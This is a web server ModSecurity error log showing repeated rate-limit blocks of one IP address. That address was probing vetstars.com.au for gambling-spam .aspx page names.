[Tue Feb 10 08:57:50.843758 2026] [:error] [pid 47830:tid 47850] [client 146.59.46.29:52412] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYqCjkco45BZs8e301CEcAAAAAQ"]
[Tue Feb 10 08:57:51.824755 2026] [:error] [pid 59544:tid 59576] [client 146.59.46.29:52418] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYqCj6ZySR9mFY4BailDjgAAAZg"]
[Tue Feb 10 08:57:51.874909 2026] [:error] [pid 59544:tid 59552] [client 146.59.46.29:52430] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYqCj6ZySR9mFY4BailDjwAAAYQ"]
[Tue Feb 10 08:57:53.211016 2026] [:error] [pid 59407:tid 59423] [client 146.59.46.29:52432] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYqCkWLlhBXE3qmX-Jl5LwAAAU4"]
[Tue Feb 10 08:57:53.660876 2026] [:error] [pid 47830:tid 47847] [client 146.59.46.29:52444] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYqCkUco45BZs8e301CEmAAAAAE"]
[Tue Feb 10 08:58:08.473789 2026] [:error] [pid 47837:tid 47908] [client 146.59.46.29:52460] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aYqCoHFY8KYFPX79Z4kvxQAAAIg"]
[Tue Feb 10 08:58:08.622147 2026] [:error] [pid 59407:tid 59411] [client 146.59.46.29:52470] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYqCoGLlhBXE3qmX-Jl5SAAAAUI"]
[Tue Feb 10 08:58:08.786147 2026] [:error] [pid 47937:tid 47939] [client 146.59.46.29:52462] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYqCoMpqXpC2CvJ3fOPjfgAAAMA"]
[Tue Feb 10 08:58:10.591348 2026] [:error] [pid 59407:tid 59430] [client 146.59.46.29:52476] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aYqComLlhBXE3qmX-Jl5SgAAAVU"]
[Tue Feb 10 08:58:11.110021 2026] [:error] [pid 47937:tid 47958] [client 146.59.46.29:50752] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYqCo8pqXpC2CvJ3fOPjgQAAANM"]
[Tue Feb 10 08:58:11.237324 2026] [:error] [pid 47830:tid 47858] [client 146.59.46.29:50764] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aYqCo0co45BZs8e301CFXAAAAAw"]
[Tue Feb 10 08:58:11.417011 2026] [:error] [pid 59544:tid 59558] [client 146.59.46.29:50770] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aYqCo6ZySR9mFY4BailDtAAAAYo"]
[Tue Feb 10 08:58:13.449849 2026] [:error] [pid 30054:tid 30069] [client 146.59.46.29:50780] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYqCpWecgOOXCu-GgYWUMwAAAQ0"]
[Tue Feb 10 08:58:13.685067 2026] [:error] [pid 30054:tid 30067] [client 146.59.46.29:50796] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYqCpWecgOOXCu-GgYWUNgAAAQs"]
[Tue Feb 10 08:58:13.846970 2026] [:error] [pid 59544:tid 59572] [client 146.59.46.29:50806] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYqCpaZySR9mFY4BailDuAAAAZU"]
[Tue Feb 10 08:58:14.111926 2026] [:error] [pid 30054:tid 30065] [client 146.59.46.29:50800] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYqCpmecgOOXCu-GgYWUOAAAAQk"]
[Tue Feb 10 08:58:16.315802 2026] [:error] [pid 59544:tid 59548] [client 146.59.46.29:50816] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aYqCqKZySR9mFY4BailDugAAAYA"]
[Tue Feb 10 08:58:16.550174 2026] [:error] [pid 59407:tid 59419] [client 146.59.46.29:50828] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYqCqGLlhBXE3qmX-Jl5UQAAAUo"]
[Tue Feb 10 08:58:16.688679 2026] [:error] [pid 59544:tid 59550] [client 146.59.46.29:50834] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYqCqKZySR9mFY4BailDvAAAAYI"]
[Tue Feb 10 08:58:16.705817 2026] [:error] [pid 59407:tid 59410] [client 146.59.46.29:50836] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYqCqGLlhBXE3qmX-Jl5UgAAAUE"]
[Tue Feb 10 08:58:19.056614 2026] [:error] [pid 47837:tid 47902] [client 146.59.46.29:50036] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aYqCq3FY8KYFPX79Z4kv3gAAAII"]
[Tue Feb 10 08:58:19.329303 2026] [:error] [pid 30054:tid 30078] [client 146.59.46.29:50050] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aYqCq2ecgOOXCu-GgYWUVAAAARY"]
[Tue Feb 10 08:58:19.366297 2026] [:error] [pid 30054:tid 30056] [client 146.59.46.29:50058] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aYqCq2ecgOOXCu-GgYWUVQAAAQA"]
[Tue Feb 10 08:58:19.412872 2026] [:error] [pid 30054:tid 30076] [client 146.59.46.29:50066] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aYqCq2ecgOOXCu-GgYWUWAAAARQ"]
[Tue Feb 10 08:58:21.572543 2026] [:error] [pid 47830:tid 47862] [client 146.59.46.29:50072] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aYqCrUco45BZs8e301CFaQAAABA"]
[Tue Feb 10 08:58:21.922602 2026] [:error] [pid 47830:tid 47869] [client 146.59.46.29:50084] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aYqCrUco45BZs8e301CFagAAABc"]
[Tue Feb 10 08:58:22.194732 2026] [:error] [pid 59544:tid 59554] [client 146.59.46.29:50094] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aYqCrqZySR9mFY4BailDzgAAAYY"]
[Tue Feb 10 08:58:22.415465 2026] [:error] [pid 59544:tid 59556] [client 146.59.46.29:50104] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aYqCrqZySR9mFY4BailDzwAAAYg"]
[Tue Feb 10 08:58:24.066047 2026] [:error] [pid 59407:tid 59417] [client 146.59.46.29:50114] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aYqCsGLlhBXE3qmX-Jl5ZgAAAUg"]
[Tue Feb 10 08:58:24.951751 2026] [:error] [pid 47830:tid 47848] [client 146.59.46.29:50128] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aYqCsEco45BZs8e301CFbgAAAAI"]
[Tue Feb 10 08:58:25.397371 2026] [:error] [pid 47837:tid 47906] [client 146.59.46.29:50120] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aYqCsXFY8KYFPX79Z4kv5gAAAIY"]
[Tue Feb 10 08:58:25.668220 2026] [:error] [pid 59544:tid 59570] [client 146.59.46.29:50130] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aYqCsaZySR9mFY4BailD1AAAAZM"]
[Tue Feb 10 08:58:26.727434 2026] [:error] [pid 59544:tid 59553] [client 146.59.46.29:50136] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aYqCsqZySR9mFY4BailD2AAAAYU"]
[Tue Feb 10 08:58:27.719204 2026] [:error] [pid 30054:tid 30071] [client 146.59.46.29:50150] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aYqCs2ecgOOXCu-GgYWUdgAAAQ8"]
[Tue Feb 10 08:58:28.263439 2026] [:error] [pid 47937:tid 47953] [client 146.59.46.29:60206] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aYqCtMpqXpC2CvJ3fOPjrwAAAM4"]
[Tue Feb 10 08:58:28.674217 2026] [:error] [pid 59544:tid 59572] [client 146.59.46.29:60214] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aYqCtKZySR9mFY4BailD3QAAAZU"]
[Tue Feb 10 08:58:29.267723 2026] [:error] [pid 59544:tid 59571] [client 146.59.46.29:60216] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYqCtaZySR9mFY4BailD4QAAAZQ"]
[Tue Feb 10 08:58:30.748144 2026] [:error] [pid 47937:tid 47940] [client 146.59.46.29:60228] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aYqCtspqXpC2CvJ3fOPjtAAAAME"]
[Tue Feb 10 08:58:31.154769 2026] [:error] [pid 30054:tid 30074] [client 146.59.46.29:60230] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aYqCt2ecgOOXCu-GgYWUfQAAARI"]
[Tue Feb 10 08:58:31.325013 2026] [:error] [pid 59407:tid 59411] [client 146.59.46.29:60236] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aYqCt2LlhBXE3qmX-Jl5cQAAAUI"]
[Tue Feb 10 08:58:31.703939 2026] [:error] [pid 59407:tid 59426] [client 146.59.46.29:60244] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aYqCt2LlhBXE3qmX-Jl5cwAAAVE"]
[Tue Feb 10 08:58:33.714232 2026] [:error] [pid 30054:tid 30063] [client 146.59.46.29:60254] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYqCuWecgOOXCu-GgYWUigAAAQc"]
[Tue Feb 10 08:58:33.772009 2026] [:error] [pid 59544:tid 59562] [client 146.59.46.29:60258] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYqCuaZySR9mFY4BailD7gAAAY4"]
[Tue Feb 10 08:58:33.986814 2026] [:error] [pid 47837:tid 47904] [client 146.59.46.29:60266] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYqCuXFY8KYFPX79Z4kv-wAAAIQ"]
[Tue Feb 10 08:58:34.223000 2026] [:error] [pid 59544:tid 59563] [client 146.59.46.29:60276] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYqCuqZySR9mFY4BailD8QAAAY8"]
[Tue Feb 10 08:58:36.415822 2026] [:error] [pid 47831:tid 47873] [client 146.59.46.29:60290] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aYqCvCdxbZYarWVkiACdggAAAEA"]
[Tue Feb 10 08:58:36.462857 2026] [:error] [pid 47837:tid 47921] [client 146.59.46.29:60292] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aYqCvHFY8KYFPX79Z4kwAAAAAJU"]
[Tue Feb 10 08:58:36.575777 2026] [:error] [pid 59407:tid 59415] [client 146.59.46.29:60298] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aYqCvGLlhBXE3qmX-Jl5egAAAUY"]
[Tue Feb 10 08:58:37.014882 2026] [:error] [pid 47837:tid 47912] [client 146.59.46.29:60302] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aYqCvXFY8KYFPX79Z4kwAwAAAIw"]
[Tue Feb 10 08:58:39.061708 2026] [:error] [pid 47837:tid 47920] [client 146.59.46.29:51638] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYqCv3FY8KYFPX79Z4kwBwAAAJQ"]
[Tue Feb 10 08:58:39.164108 2026] [:error] [pid 59407:tid 59430] [client 146.59.46.29:51630] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYqCv2LlhBXE3qmX-Jl5gQAAAVU"]
[Tue Feb 10 08:58:39.201831 2026] [:error] [pid 47937:tid 47940] [client 146.59.46.29:51646] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYqCv8pqXpC2CvJ3fOPjvAAAAME"]
[Tue Feb 10 08:58:39.540909 2026] [:error] [pid 47831:tid 47875] [client 146.59.46.29:51654] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYqCvydxbZYarWVkiACdiQAAAEI"]
[Tue Feb 10 08:58:41.694402 2026] [:error] [pid 59544:tid 59552] [client 146.59.46.29:51670] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aYqCwaZySR9mFY4BailD_AAAAYQ"]
[Tue Feb 10 08:58:41.855003 2026] [:error] [pid 47937:tid 47956] [client 146.59.46.29:51684] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aYqCwcpqXpC2CvJ3fOPjvgAAANE"]
